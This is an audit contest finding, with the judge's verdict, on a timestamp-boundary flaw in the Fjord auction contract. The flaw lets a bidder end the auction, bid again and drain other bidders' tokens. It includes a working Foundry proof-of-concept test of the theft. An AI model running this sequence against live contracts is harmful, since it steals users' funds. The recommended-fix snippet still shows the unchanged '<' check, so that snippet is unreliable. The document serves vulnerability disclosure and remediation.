Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

An attacker can steal the `auctionTokens` from other eligible bidders of an auction by making a bid after the auction has ended

Udsen

Summary

An attacker can steal the auctionTokens from other eligible bidders of an auction by making a bid after the auction has ended.

Vulnerability Details

The FjordAuction contract is used to allow the Fjord community members to redeem thier FjordPoints for auctionTokens via a bidding process. The FjordAuction.bid function is used to make a bid and the FjordAuction.auctionEnd function is used to end the auction once the auction has expired and the FjordAuction.claimTokens is used to claim the auctionTokens corresponding to the respective bid amount of the bidder (msg.sender).

But the issue here is that the contract allows to end the auction and make a bid simultaneously at block.timestamp == auctionEndTime as shown in the following code snippets:

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
function auctionEnd() external {
if (block.timestamp < auctionEndTime) { //@audit-issue - block.timestamp == auctionEndTime state we can both bid and end the auction as well. Which is a collision
revert AuctionNotYetEnded();
}

Impact

This vulnerability allows an Attacker to call FjordAuction.auctionEnd (In which the multiplier is calculated) and end the auction and then in the same transaction to call the FjordAuction.bid and increase attacker's bid amount. Then in the same transaction the attacker can call FjordAuction.claimTokens and claim the auctionTokens corresponding to the attacker's inflated bid amount. Since the multiplier does not account for the bid amount made after the auction end, this will allow the attacker to steal funds (auction tokens) from the other bidders. Other bidders will not be able to claim thier eligible auctionTokens since the contract does not have enough balance as the attacker has stolen the funds from the contract.

Please add the following testcase to the test/unit/auction.t.sol file and execute the following command.

forge test --match-test testClaimTokensAttackBid

function testClaimTokensAttackBid() public {
address bidderA = address(0x2);
uint256 bidAmountA = 100 ether;
uint256 bidAmountAttackA = 100 ether;
​
address bidderB = address(0x3);
uint256 bidAmountB = 100 ether;
​
deal(address(fjordPoints), bidderA, bidAmountA + bidAmountAttackA);
deal(address(fjordPoints), bidderB, bidAmountB);
​
//BidderA and BidderB make the bids in the auction
vm.startPrank(bidderA);
fjordPoints.approve(address(auction), bidAmountA + bidAmountAttackA);
auction.bid(bidAmountA);
vm.stopPrank();
​
vm.startPrank(bidderB);
fjordPoints.approve(address(auction), bidAmountB);
auction.bid(bidAmountB);
vm.stopPrank();
​
skip(biddingTime);
// Attacker (bidderA) ends the auction at the auction end time and makes a new bid and claim the tokens
vm.startPrank(bidderA);
auction.auctionEnd();
auction.bid(bidAmountAttackA);
auction.claimTokens();
vm.stopPrank();
​
console.log("BidderA claimed Amount: ", auctionToken.balanceOf(bidderA).div(1e18));
​
console.log("TotalBids Amount: ", auction.totalBids().div(1e18));
console.log("BidderA Total Bids: ", auction.bids(bidderA).div(1e18));
console.log("BidderB Total Bids: ", auction.bids(bidderB).div(1e18));
console.log("Multiplier: ", auction.multiplier().div(1e18));
​
// BidderB attempts to claim the tokens but his transaction reverts
vm.prank(bidderB);
vm.expectRevert("ERC20: transfer amount exceeds balance");
auction.claimTokens();
console.log("BidderB claimed Amount: ", auctionToken.balanceOf(bidderB).div(1e18));
}

https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L181-L184
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L143-L146
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L197
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordAuction.sol#L207-L222

Tools Used

Manual Review, Foundry and VSCode

Recommendations

Hence it is recommended to change the auctionEndTime timestamp conditional check in the FjordAuction.auctionEnd() function to block.timestamp <= auctionEndTime as shown below:

function auctionEnd() external {
if (block.timestamp < auctionEndTime) { //@audit-issue - block.timestamp == auctionEndTime state we can both bid and end the auction as well. Which is a collision
revert AuctionNotYetEnded();
}
​
...
...
}

The above change will ensure that auctions can not be ended when the block.timestamp == auctionEndTime which means an attacker can not make a bid after the auction has ended, since there is no overlap of the timestamps during which the bid and auctionEnd transaction can be called.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.